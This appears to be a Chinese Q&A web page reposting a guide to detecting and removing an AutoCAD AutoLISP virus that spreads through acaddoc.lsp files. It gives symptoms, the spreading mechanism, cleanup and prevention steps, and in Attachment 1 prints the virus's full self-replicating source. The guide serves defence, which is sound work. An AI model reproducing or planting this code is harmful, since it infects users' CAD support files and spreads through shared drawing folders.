装修问答
您所在的位置是:首页 >> >> 装修问答
装修问答
您所在的位置是:首页 >>装修问答

装修问答

求lsp高手看看这个是不是病毒。cad2007

发布时间:2025-01-24 16:41:05

acaddoc病毒处理办法

前言: 下文第一、二、三段无实质内容,可略过不读。

一 病毒简介:

最近公司里流传一种cad病毒。该病毒可被卡巴斯基和360杀毒软件查出。卡巴斯基查出病毒名为Virus.ALS.Pasdoc.a,360杀毒软件查出病毒名为Trojan.Script.29327。遗憾的是,卡巴斯基和360杀毒软件均不能将其彻底清除。

二 中毒症状:

机器中毒后,运行CAD时,每打开一个dwg文件,均在dwg文件所在目录下生成一个acaddoc.lsp的文件。由于每次开图,病毒程序均进行一次病毒传播复制过程,因此使得CAD开图时速度变慢。

用记事本查看CAD安装路径下的support目录下的任一*.lsp文件,如文件末尾含有与附件1相同的代码,则可判定为中毒。

三 传播机理:

通过分析病毒的源代码,初步了解其传播机理如下:

如机器已中毒,CAD新打开dwg文件时,病毒程序自动加载。并搜索CAD工作目录下的acad.mnl文件,感染同一目录下的*.mnl文件,搜索acad的support目录,并感染该目录下的所有*.lsp文件。同时病毒在当前打开的dwg文件所在目录下生成acaddoc.lsp文件,以利于下次传播。

如本机未中毒,而新打开的dwg文件所在目录下有acaddoc.lsp文件,则病毒将感染上述目录下的*.mnl与*.lsp文件。

该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。至于这两个程序会干什么,暂未深入研究。

四 清除步骤:

1. 退出CAD。

2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。

如果搜出的文件无法删除,则先清空回收站,再搜索删除。

注:探索者目录下有个AcadDoc.lsp(注意大小写)不是病毒文件,谨防误删。

3. 查看C盘根目录下是否有boot.dat文件,如有,则将其删除。

4. 进入C:\Documents and Settings\用户名\Application Data\Autodesk\AutoCAD 2006(或AutoCAD2004)\R16.2\chs\Support目录,用记事本打开该目录下的所有*.mnl文件,手动删除与附件1相同的代码(一般都在文件末尾),然后保存。并将修改后的所有*.mnl文件属性设置为“只读”。

5. 进入CAD安装目录下的support目录,将该目录下的所有*.lsp文件按步骤4方法处理。记得将其属性设为“只读”。

6. 如果本机安装有多个版本的CAD,都需按上述步骤检查一次。

五 预防措施:

由于该病毒是通过读取dwg文件所在的目录下acaddoc.lsp来传播的。因为在接受其他同事的文件夹时,应先检查该文件夹中是否包含上述病毒文件。如有,则删除之。同时也应该确保传给其他同事的文件夹不要包含上述文件。

病毒会感染support目录下的 *.lsp文件。因此建议新建一个文件夹,将常用的lisp程序放置在该文件夹下,同时在CAD选项中将其设置为工作搜索目录。

未装杀毒软件的机器应首先将杀毒软件装上(360杀毒软件免费的),在接受他人传来的文件后应首先杀毒。

建议不要直接打开公共盘上的dwg文件,应先下载到本机再打开。

附件1: 病毒代码

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

(setq flag nil)

(setq flag1 t)

(if (findfile target)

(progn

(setq wjm1 (open target "r"))

(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

(close wjm1)

);progn

);if

(if flag1

(progn

(setq wjm (open source "r"))

(setq wjm1 (open target "a"))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

(progn

(write-line text wjm1)

);progn

);if

);while

(close wjm1)

(close wjm)

);progn

);if

);defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (< lspn lspnum)

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn (1+ lspn))

);while

);progn

);if

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app mnlfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (< lspn lspnum)

(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))

(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))

(app lspfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))

(app lspfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn (1+ lspn))

(load "acadapq")

(princ)

(load "acadappp.lsp")

(princ)

另外查杀干净以后进行如下操作可以免疫

首先搜索硬盘上所有acad.lsp,acadapp.lsp,把搜索到的文件全部全部删除。

然后把安装CAD的文件夹里的Support文件夹里的acad2004.lsp(视版本不同,文件名也不同,R14版的是acadR14.lsp, 2002版的是acad2002.lsp等等)文件(一定要是lsp文件)复制出来,复制两次,然后把文件名分别改为acad.lsp和 acadapp.lsp,然后把这两个文件的属性设置为只读,再复制到Support文件夹里去.就可以了.

一定要把先把所有的acad.lsp,acadapp.lsp删除,才能进行以上操作!

本站热点

热点tag标签